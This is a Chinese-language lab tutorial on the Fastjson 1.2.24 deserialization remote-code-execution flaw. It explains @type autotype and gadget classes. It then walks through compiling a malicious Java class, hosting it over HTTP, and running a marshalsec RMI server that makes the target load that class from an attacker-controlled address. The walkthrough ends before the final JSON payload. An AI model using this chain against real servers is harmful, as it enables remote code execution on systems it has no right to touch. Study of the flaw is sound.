Fastjson反序列化漏洞(1.2.24 RCE)

String text-JSON.toJSONString(obj);//序列化
 
{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}

1.2  反序列化

User user4 = JSON.parseObject( serializedStr, User.class);

• JSON.parse

Object obj1 =JSON.parse(serializedStr);

1.3 @type 自省 Autotype

        引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候，类型丢失，这样我们在反序列化的时候就不需要再指定类名。

eg:

        fastjson在对 JSON 字符串进行反序列化的时候，会读取 @type 的内容，试图把 JSON 内容反序列化成这个对象，并且会调用这个类的set方法， 利用这个特性，构造一个 JSON 字符串，并且使 用 @type 反序列化一个自己想要使用的 攻击类库

1、比较常用的攻击类

1.1  com.sun.rowset.JdbcRowSetImpl

        这是sun 官方提供的一个类库，这个类的 dataSourceName 支持传入一个rmi 的源，当解析这个 uri 的时候，就会支持 rmi远程调用 ，去指定的rmi 地址中去调用方法

1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

原理同上

1、编译成 class文件

编译恶意代码，通过javac LinuxRevers 编译成class文件，将编译好的class上传至你的web服务器，地址为http://yours_ip/exp/LinuxTouch.class

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

        仔细阅读代码不难发现，只要下载代码，里面有main方法，就要执行恶意代码，攻击执行

2、启动HTTP服务器

• python -m http.server 8089                                py3
• python –m SimpleHTTPServer 8088                 py2

        启动http服务的目的是给LinuxTouch.class提供下载，假如我们在浏览器直接输入url时,它就会自动下载.class文件。

4、LDAP服务启动（kali）

1、借助marshalsec项目，快速开启rmi或ldap服务

git clone https://github.com/mbechler/marshalsec #下载marshalsec
apt install maven #下载maven，使用maven进行编译jar包
cd marshalsec mvn clean package ‐DskipTests

2、启动一个RMI服务器，监听9473端口，并制定加载远程类LinuxTouch.class：

        我们可以把它理解为中介，如果有人访问9473端口的话，就让这个人访问LinuxTouch.class，把它自动下载到本地。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473

        我们先用POST访问 8090 的端口，本网页可以接收序列化和反序列化的接口，它就拿到下面的内容进行反序列化，@type 具有自醒的功能，在反序列化的过程中，它会连接到本机已经在kali里面已经启动好的RMI的服务，RMI让它去访问下载LinuxTouch.class文件，这样攻击就发生了。

1、思路

1.1 找到发送JSON序列化数据的接口